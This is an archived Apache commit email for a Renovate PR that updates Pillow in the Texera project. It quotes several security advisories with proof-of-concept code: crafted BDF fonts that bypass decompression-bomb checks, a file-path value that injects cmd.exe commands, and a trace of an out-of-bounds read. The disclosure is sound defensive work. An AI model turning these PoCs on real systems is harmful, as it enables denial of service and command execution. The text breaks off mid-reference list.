You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@texera.apache.org by gi...@apache.org on 2026/07/27 23:50:24 UTC

(texera) branch main updated (31f1e7bf8a -> 589f601d48)

This is an automated email from the ASF dual-hosted git repository.

github-merge-queue[bot] pushed a change to branch main
in repository https://gitbox.apache.org/repos/asf/texera.git


    from 31f1e7bf8a ci: automate backport labeling and open PRs for failed backports (#6941)
     new 1b9a8c6ee8 fix(deps, pyamber): update dependency pillow to v12.3.0 [security] (#6909)
     new 589f601d48 fix(deps, pyamber): update dependency torch to v2.13.0 [security] (#6910)

The 2 revisions listed above as "new" are entirely new to this
repository and will be described in separate emails.  The revisions
listed as "add" were already present in the repository and have only
been added to this reference.


Summary of changes:
 amber/LICENSE-binary-python     | 4 ++--
 amber/operator-requirements.txt | 6 +++---
 2 files changed, 5 insertions(+), 5 deletions(-)


(texera) 01/02: fix(deps, pyamber): update dependency pillow to v12.3.0 [security] (#6909)

Posted by gi...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

github-merge-queue[bot] pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/texera.git

commit 1b9a8c6ee84f96e9c70712171f99b2a209d8709b
Author: Mend Renovate <re...@whitesourcesoftware.com>
AuthorDate: Tue Jul 28 00:32:59 2026 +0100

    fix(deps, pyamber): update dependency pillow to v12.3.0 [security] (#6909)
    
    > ℹ️ **Note**
    >
    > This PR body was truncated due to platform limits.
    
    This PR contains the following updates:
    
    | Package | Change |
    [Age](https://docs.renovatebot.com/merge-confidence/) |
    [Confidence](https://docs.renovatebot.com/merge-confidence/) |
    |---|---|---|---|
    | [pillow](https://redirect.github.com/python-pillow/Pillow)
    ([changelog](https://redirect.github.com/python-pillow/Pillow/releases))
    | `==12.2.0` → `==12.3.0` |
    ![age](https://developer.mend.io/api/mc/badges/age/pypi/pillow/12.3.0?slim=true)
    |
    ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pillow/12.2.0/12.3.0?slim=true)
    |
    
    ---
    
    > [!WARNING]
    > Some dependencies could not be looked up. Check the Dependency
    Dashboard for more information.
    
    ---
    
    ### Pillow `BdfFontFile`: `Image.new()` called without
    `_decompression_bomb_check()` — bomb protection bypass via font loading
    BIT-pillow-2026-55379 /
    [CVE-2026-55379](https://nvd.nist.gov/vuln/detail/CVE-2026-55379) /
    [GHSA-45hq-cxwh-f6vc](https://redirect.github.com/advisories/GHSA-45hq-cxwh-f6vc)
    / PYSEC-2026-2255
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Summary
    `PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width
    height` field from a BDF font file and passes the dimensions directly to
    `Image.new()` without calling `Image._decompression_bomb_check()`. This
    completely bypasses Pillow's documented decompression bomb protection.
    
    `Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises
    `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970`
    pixels. The BDF font loading path calls `Image.new()` directly, which
    only calls `_check_size()` (validates `>= 0`) — no pixel count limit.
    
    **Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):**
    ```python
    
    ##### width, height from attacker-controlled "BBX width height x y" line
    try:
        im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
    except ValueError:
        # TRIGGERED when BITMAP section is empty (zero hex lines)
        im = Image.new("1", (width, height))   # ← NO _decompression_bomb_check()!
        # ^ This image is stored in self.glyph[ch] — persists in memory
    ```
    
    **Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty
    `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then
    `Image.new("1", (20000, 20000))` allocates **50 MB** of C-heap silently.
    Image.open() would raise `DecompressionBombError` for the same
    dimensions.
    
    ##### Steps to reproduce
    
    **Minimal malicious BDF file (270 bytes):**
    ```
    STARTFONT 2.1
    SIZE 16 75 75
    FONTBOUNDINGBOX 16 16 0 -4
    STARTPROPERTIES 1
    COMMENT placeholder
    ENDPROPERTIES
    CHARS 1
    STARTCHAR A
    ENCODING 65
    SWIDTH 500 0
    DWIDTH 8 0
    BBX 20000 20000 0 0
    BITMAP
    ENDCHAR
    ENDFONT
    ```
    
    **Proof of Concept script:**
    ```python
    
    #!/usr/bin/env python3
    """PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
    import io, warnings
    warnings.filterwarnings("ignore")
    
    from PIL.BdfFontFile import BdfFontFile
    from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
    
    W, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold
    
    ##### Show what Image.open() would do
    warnings.filterwarnings("error", category=DecompressionBombWarning)
    try:
        _decompression_bomb_check((W, H))
    except (DecompressionBombWarning, DecompressionBombError) as e:
        print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
    warnings.filterwarnings("ignore")
    
    ##### Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
    bdf = f"""STARTFONT 2.1
    SIZE 16 75 75
    FONTBOUNDINGBOX 16 16 0 -4
    STARTPROPERTIES 1
    COMMENT x
    ENDPROPERTIES
    CHARS 1
    STARTCHAR A
    ENCODING 65
    SWIDTH 500 0
    DWIDTH 8 0
    BBX {W} {H} 0 0
    BITMAP
    ENDCHAR
    ENDFONT
    """.encode()
    
    print(f"[*] BDF file size  : {len(bdf)} bytes")
    print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
    print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")
    
    BdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!
    
    print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
    print(f"    Image.open() path would have raised DecompressionBombError")
    ```
    
    **Expected output:**
    ```
    [Image.open() path] BLOCKED by DecompressionBombError
    [*] BDF file size  : 270 bytes
    [*] Glyph size     : 20000 x 20000 = 400,000,000 pixels
    [*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)
    [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
        Image.open() path would have raised DecompressionBombError
    ```
    
    **Amplified attack (multiple glyphs):**
    A BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6
    MB = ~1.95 GB` total C-heap allocation — all silently, bypassing
    documented bomb protection.
    
    ##### Impact
    - **Availability**: HIGH — attacker-controlled memory allocation per
    glyph × up to 65,536 glyphs
    - **Confidentiality**: None
    - **Integrity**: None
    - Any service loading BDF fonts from untrusted sources (e.g.,
    `ImageFont.load("user.bdf")`, `BdfFontFile(fp)`) is affected
    - Loaded glyph images persist in `self.glyph[ch]` for the lifetime of
    the font object — memory is NOT freed until the font is garbage
    collected
    
    #### Severity
    - CVSS Score: 7.5 / 10 (High)
    - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
    
    #### References
    -
    [https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc)
    -
    [https://nvd.nist.gov/vuln/detail/CVE-2026-55379](https://nvd.nist.gov/vuln/detail/CVE-2026-55379)
    -
    [https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://redirect.github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d)
    -
    [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml)
    -
    [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-45hq-cxwh-f6vc) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow: WindowsViewer.get_command() OS command injection via
    unescaped shell path
    BIT-pillow-2026-55798 /
    [CVE-2026-55798](https://nvd.nist.gov/vuln/detail/CVE-2026-55798) /
    [GHSA-4x4j-2g7c-83w6](https://redirect.github.com/advisories/GHSA-4x4j-2g7c-83w6)
    / PYSEC-2026-2257
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### 1. Summary
    
    `WindowsViewer.get_command()` constructs a `cmd.exe` shell command by
    directly embedding a
    file path into an f-string without escaping. The result is passed to
    `subprocess.Popen(..., shell=True)`. Shell metacharacters in the file
    path — most
    importantly a double-quote (`"`) that breaks out of the wrapping,
    followed by `&` — allow
    injection of arbitrary `cmd.exe` commands.
    
    The macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to
    the same parameter.
    The Linux equivalent (`UnixViewer`) does likewise. Windows is the only
    platform missing this
    protection, despite `shlex.quote` being **already imported** on line 21
    of `ImageShow.py`.
    
    ---
    
    ##### 2. Vulnerable Code
    
    **File:** `src/PIL/ImageShow.py`, lines 133–150
    
    ```python
    class WindowsViewer(Viewer):
        format = "PNG"
        options = {"compress_level": 1, "save_all": True}
    
        def get_command(self, file: str, **options: Any) -> str:
            return (
                f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
                "&& ping -n 4 127.0.0.1 >NUL "
                f'&& del /f "{file}"'                # ← same path, unescaped again
            )
    
        def show_file(self, path: str, **options: Any) -> int:
            if not os.path.exists(path):
                raise FileNotFoundError
            subprocess.Popen(
                self.get_command(path, **options),
                shell=True,                          # ← shell=True
                creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
            )  # nosec                               # ← Bandit warning suppressed manually
            return 1
    ```
    
    **Contrast with macOS — SAFE (line 164–168):**
    ```python
    class MacViewer(Viewer):
        def get_command(self, file: str, **options: Any) -> str:
            command = "open -a Preview.app"
            command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
            return command                           # ← shlex.quote() applied
    ```
    
    **Cross-platform summary:**
    
    | Platform | Class          | `shlex.quote()`? | `shell=True`? | Safe? |
    |----------|----------------|------------------|---------------|-------|
    | macOS | `MacViewer` | **Yes** (line 168) | No (list args) | ✅ Yes |
    | Linux | `UnixViewer` | **Yes** (line 207) | No (list args) | ✅ Yes |
    | Windows | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148)
    | ❌ No |
    
    `shlex.quote` is imported on line 21. Its omission from the Windows path
    is a clear
    oversight, not a deliberate design choice.
    
    ---
    
    ##### 3. Proof of Concept
    
    A full working PoC is at `poc_pillow_injection.py`. Key parts:
    
    **Part A — Injection string construction (static, no execution):**
    ```python
    from PIL.ImageShow import WindowsViewer
    
    viewer = WindowsViewer()
    evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
    cmd = viewer.get_command(evil_path)
    print(cmd)
    
    ##### Output:
    ##### start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
    
    ##### ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
    ##### ├─ & echo PWNED                           → INJECTED COMMAND
    
    ##### └─ & echo ""  && ping ...                → continues
    ```
    
    **Part B — Live execution via `os.system()` (verified on Windows 11,
    Pillow 12.1.1):**
    ```python
    import os, tempfile
    from PIL.ImageShow import WindowsViewer
    
    viewer = WindowsViewer()
    poc_dir = tempfile.mkdtemp()
    marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
    
    ##### Craft injection: payload writes a marker file (harmless)
    payload   = f'echo REAL_INJECTED > "{marker}"'
    evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
    
    ##### Call the REAL Pillow get_command():
    real_cmd = viewer.get_command(evil_path)
    
    ##### Execute the same way the base Viewer.show_file() does (os.system):
    os.system(real_cmd)
    
    assert os.path.exists(marker)                          # PASSES — marker was created
    assert "REAL_INJECTED" in open(marker).read()          # PASSES
    
    ##### → CONFIRMED: arbitrary command injection via get_command()
    ```
    
    ---
    
    #### Severity
    - CVSS Score: 4.5 / 10 (Medium)
    - Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L`
    
    #### References
    -
    [https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6)
    -
    [https://nvd.nist.gov/vuln/detail/CVE-2026-55798](https://nvd.nist.gov/vuln/detail/CVE-2026-55798)
    -
    [https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a](https://redirect.github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a)
    -
    [https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4](https://redirect.github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4)
    -
    [https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f](https://redirect.github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f)
    -
    [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml)
    -
    [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-4x4j-2g7c-83w6) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow: `FontFile.compile()`: `Image.new()` called without
    `_decompression_bomb_check()`
    BIT-pillow-2026-54060 /
    [CVE-2026-54060](https://nvd.nist.gov/vuln/detail/CVE-2026-54060) /
    [GHSA-5x94-69rx-g8h2](https://redirect.github.com/advisories/GHSA-5x94-69rx-g8h2)
    / PYSEC-2026-2254
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Description
    
    `PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a
    single combined bitmap using `Image.new("1", (xsize, ysize))` without
    calling `Image._decompression_bomb_check()`. This is the base-class
    method shared by both `BdfFontFile` and `PcfFontFile`, and it is
    triggered whenever a loaded font is converted to an `ImageFont` or
    saved.
    
    Neither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)`
    is registered with `Image.register_open()`, so Pillow's standard
    decompression bomb guard never fires for font objects. The compile step
    is the final opportunity to check the combined allocation — and it has
    no check.
    
    **Vulnerable code (`PIL/FontFile.py` lines ~64–92):**
    
    ```python
    def compile(self) -> None:
        if self.bitmap:
            return
    
        h = w = maxwidth = 0
        lines = 1
        for glyph in self.glyph:              # up to 256 glyph slots
            if glyph:
                d, dst, src, im = glyph
                h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled
                w = w + (src[2] - src[0])
                if w > WIDTH:                  # WIDTH = 800
                    lines += 1
                    w = src[2] - src[0]
                maxwidth = max(maxwidth, w)
    
        xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)
        ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960
    
        if xsize == 0 and ysize == 0:
            return
    
        self.ysize = h
        # NO _decompression_bomb_check() here ←
        self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation
    ```
    
    **"Slow accumulation" attack — per-glyph dimensions stay BELOW warning
    threshold:**
    
    | Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) |
    |---|---|---|
    | Pixel count | 700,000 | **179,200,000** |
    | DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** |
    2.0× — above warning |
    | DecompressionBombError threshold (178.9M) | 0.004× — **no error** |
    **1.001× — above error** |
    
    With PCF-maximum glyph height (65,535):
    
    | Metric | Value |
    |---|---|
    | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph)
    |
    | h (max glyph height) | 65,535 |
    | xsize | 800 |
    | ysize = lines × h | 256 × 65,535 = **16,776,960** |
    | **Total pixels** | 800 × 16,776,960 = **13,421,568,000** |
    | **Ratio vs. DecompressionBombError threshold** | **75×** |
    | Memory (mode "1", 1 bit/pixel) | **~1.6 GB** |
    
    ##### Steps to reproduce
    
    **Proof of Concept script:**
    
    ```python
    
    #!/usr/bin/env python3
    """
    PoC: FontFile.compile() bomb bypass
    256 glyphs at 800x875 each (individually below warning threshold)
    → compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
    """
    from PIL import FontFile, Image
    
    MAX_GLYPHS = 256
    GLYPH_W    = 800
    GLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold
    
    class MockFont(FontFile.FontFile):
        def __init__(self):
            super().__init__()
            # Each glyph is individually safe (700K px < 89.4M warning)
            im = Image.new("1", (GLYPH_W, GLYPH_H))
            for i in range(MAX_GLYPHS):
                self.glyph[i] = (
                    (GLYPH_W, GLYPH_H),
                    (0, -GLYPH_H, GLYPH_W, 0),
                    (0, 0,        GLYPH_W, GLYPH_H),
                    im,
                )
    
    ##### Confirm bomb check WOULD catch the combined size
    combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
    try:
        Image._decompression_bomb_check(combined_size)
        print("[FAIL] bomb check did not raise — unexpected")
    except Image.DecompressionBombError as e:
        print(f"[OK] bomb check WOULD block {combined_size}: {e}")
    
    ##### Vulnerable path: compile() has NO bomb check
    font = MockFont()
    font.compile()   # → Image.new("1", (800, 224000)) — no error raised
    
    px = font.bitmap.size[0] * font.bitmap.size[1]
    threshold = Image.MAX_IMAGE_PIXELS * 2
    print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
    print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)")
    print(f"         No DecompressionBombError raised at any point.")
    ```
    
    **Expected output:**
    ```
    [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
    of 178956970 pixels, could be decompression bomb DOS attack.
    [BYPASS] compile() succeeded: bitmap=(800, 224000)
             pixels=179,200,000  (1.001× DecompressionBombError threshold)
             No DecompressionBombError raised at any point.
    ```
    
    **Verified live on Pillow 12.2.0 — compile() succeeds with no
    exception.**
    
    **Real-world trigger using BDF font file:**
    ```python
    from PIL import BdfFontFile
    import io
    
    ##### Load a crafted BDF font with 256 glyphs each claiming height=65535
    
    ##### (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
    ##### compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
    font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
    font.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check
    ```
    
    **Attack scenarios:**
    
    | Scenario | Effect |
    |---|---|
    | Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with
    crafted .bdf upload |
    | Server-side font renderer that loads PCF → `to_imagefont()` | OOM
    crash |
    | Font pipeline: load → render text | One malicious font file kills the
    process |
    
    ##### Impact
    
    - **Availability:** HIGH — `compile()` creates a combined bitmap whose
    pixel count scales as `WIDTH × lines × max_glyph_height` with no upper
    bound check. With max PCF glyph height (65,535) and 256 glyphs, the
    combined allocation is ~1.6 GB. With BDF (text-format, unbounded
    height), the allocation is limited only by system memory.
    - **Confidentiality:** None
    - **Integrity:** None
    
    **Affected call paths:**
    - `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()`
    - `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()`
    - `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()`
    - `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()`
    
    Neither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so
    the standard decompression bomb guard is **entirely absent** from the
    font loading code path. `compile()` is the only point where the combined
    allocation size is known, and it has no check.
    
    Confirmed unpatched on `python-pillow/Pillow` `main` branch as of
    2026-06-08.
    
    #### Severity
    - CVSS Score: 7.5 / 10 (High)
    - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
    
    #### References
    -
    [https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2)
    -
    [https://nvd.nist.gov/vuln/detail/CVE-2026-54060](https://nvd.nist.gov/vuln/detail/CVE-2026-54060)
    -
    [https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://redirect.github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d)
    -
    [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml)
    -
    [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-5x94-69rx-g8h2) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow: Out-of-bounds read via attacker-controlled row stride on
    Pillow's mmap path (McIdas AREA files)
    BIT-pillow-2026-54058 /
    [CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058) /
    [GHSA-62p4-gmf7-7g93](https://redirect.github.com/advisories/GHSA-62p4-gmf7-7g93)
    / PYSEC-2026-3493
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Summary
    
    When Pillow loads an uncompressed image whose tile uses the `raw` codec
    and a mode in `Image._MAPMODES`, and the image was opened **from a
    filename**, it memory-maps the file and builds the image's row pointers
    directly into the mapping via `PyImaging_MapBuffer` (`src/map.c`). The
    per-row spacing (`stride`) is taken from the tile arguments. `map.c`
    validates `offset + ysize*stride <= buffer_len` but **never checks that
    `stride` is at least the natural row width `xsize * pixelsize`**.
    
    The **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`,
    `offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit
    header words with no validation. By supplying a `stride` far smaller
    than the row width, an attacker makes each row pointer read
    `xsize*pixelsize` bytes that run past the mapped region. Accessing the
    pixels (e.g. `Image.tobytes()`,
    `getpixel`, `convert`, `save`) then reads adjacent process memory
    (information disclosure) or faults (SIGBUS, denial of service).
    
    ##### Complete Code Trace
    
    **Step 1: `McIdasImageFile._open`** - turns attacker header words into
    image size, file offset, and row stride with no validation.
    
    ```python
    
    ##### src/PIL/McIdasImagePlugin.py:41-70
    s = self.fp.read(256)
    if not _accept(s) or len(s) != 256:        # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"
        raise SyntaxError(...)
    self.area_descriptor = w = [0, *struct.unpack("!64i", s)]   # w[1..64] = signed BE int32, ALL attacker-controlled
    
    if w[11] == 1:
        mode = rawmode = "L"                    # pixelsize 1, in _MAPMODES
    elif w[11] == 2:
        mode = rawmode = "I;16B"                # pixelsize 2, in _MAPMODES
    ...
    self._mode = mode
    self._size = w[10], w[9]                    # (xsize, ysize)  <-- attacker
    offset = w[34] + w[15]                       # <-- attacker
    stride = w[15] + w[10] * w[11] * w[14]       # <-- attacker (set w[14]=0, w[15]=1 => stride=1)
    self.tile = [
        ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
    ]
    ```
    
    **Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates
    to `map_buffer`.
    
    ```python
    
    ##### src/PIL/ImageFile.py:322-348
    if use_mmap:                                 # use_mmap = self.filename and len(self.tile) == 1
        decoder_name, extents, offset, args = self.tile[0]
        if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
                and args[0] == self.mode and args[0] in Image._MAPMODES):
            if offset < 0:                       # only lower-bound guard on offset
                raise ValueError("Tile offset cannot be negative")
            with open(self.filename) as fp:
                self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
            if offset + self.size[1] * args[1] > self.map.size():   # == offset + ysize*stride; NO stride>=linesize check
                raise OSError("buffer is not large enough")
            self.im = Image.core.map_buffer(
                self.map, self.size, decoder_name, offset, args      # args = ("L", stride, 1)
            )
    ```
    
    **Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride`
    spacing into the mmap; validates everything except `stride >= row
    width`.
    
    ```c
    /* src/map.c:65-140 */
    if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
            &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
        return NULL;
    ...
    const ModeID mode = findModeID(mode_name);          /* "L" */
    
    if (stride <= 0) {                                  /* attacker sets stride=1 (>0) -> NOT recomputed */
        if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
        else if (isModeI16(mode)) stride = xsize * 2;
        else stride = xsize * 4;
    }
    
    if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
        PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
    }
    size = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */
    
    if (offset > PY_SSIZE_T_MAX - size) { ... }
    ...
    if (offset + size > view.len) {                     /* 1 + 1 = 2 <= 256 -> PASSES */
        PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
        PyBuffer_Release(&view); return NULL;
    }
    
    im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
    /* im->linesize = xsize * pixelsize = 200000  (the REAL per-row read width) */
    
    /* setup file pointers -- NO check that stride >= im->linesize */
    if (ystep > 0) {
        for (y = 0; y < ysize; y++) {
            im->image[y] = (char *)view.buf + offset + y * stride;   /* row points into mmap, spacing=1 */
        }
    } else { ... }
    ```
    
    `im->linesize` (the number of bytes any consumer reads per row) is
    `xsize * pixelsize = 200000`, but the row pointers are only `stride = 1`
    byte apart and the buffer is only `offset + ysize*stride = 2` bytes
    "claimed". Nothing reconciles the two.
    
    **Step 4: pixel access (`Image.tobytes()` → raw encoder `copy1`)** -
    reads `linesize` bytes from `im->image[0]`, i.e. `xsize` bytes starting
    at `view.buf + offset`, running far past the mmap.
    
    ```c
    /* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
       for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */
    ```
    
    ##### Chain Summary
    
    ```
    SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  (Image.open on a path)
      ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -> attacker sets stride=1   [McIdasImagePlugin.py:66]
      ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1))                                     [McIdasImagePlugin.py:68]
    GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len  <- BUG: no stride>=linesize check  [ImageFile.py:343]
      ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1))                              [ImageFile.py:346]
    SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize   [map.c:134]
      ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
    IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)
    ```
    
    ##### Proof of Concept
    
    See attached
    [poc.zip](https://redirect.github.com/user-attachments/files/28460498/poc.zip)
    
    ##### Impact on a Parent Application
    
    Any application that opens image files supplied by users **from a path
    on disk** (the common pattern: save upload to a temp file, then
    `Image.open(path)`), has the default plugin set (McIdas is registered by
    default), and subsequently reads/returns/re-encodes the decoded pixels
    (thumbnailing, format conversion, serving a preview), is exposed:
    
    - **Information disclosure (High):** the decoded "image" contains bytes
    of the worker process's adjacent heap/mapped memory, which the app then
    serves or stores - potentially leaking secrets, credentials, or other
    users' data.
    - **Denial of service (High):** a larger `xsize` reliably crashes the
    worker with SIGBUS.
    
    ##### Suggested fix
    Core fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset < 0` and
    `stride < im->linesize`. Defense-in-depth in `McIdasImagePlugin._open`:
    reject `offset < 0` or `stride < xsize*pixelsize` .
    
    #### Severity
    - CVSS Score: 8.3 / 10 (High)
    - Vector String:
    `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N`
    
    #### References
    -
    [https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93)
    -
    [https://nvd.nist.gov/vuln/detail/CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058)
    -
    [https://github.com/python-pillow/Pillow/pull/9719](https://redirect.github.com/python-pillow/Pillow/pull/9719)
    -
    [https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d](https://redirect.github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d)
    -
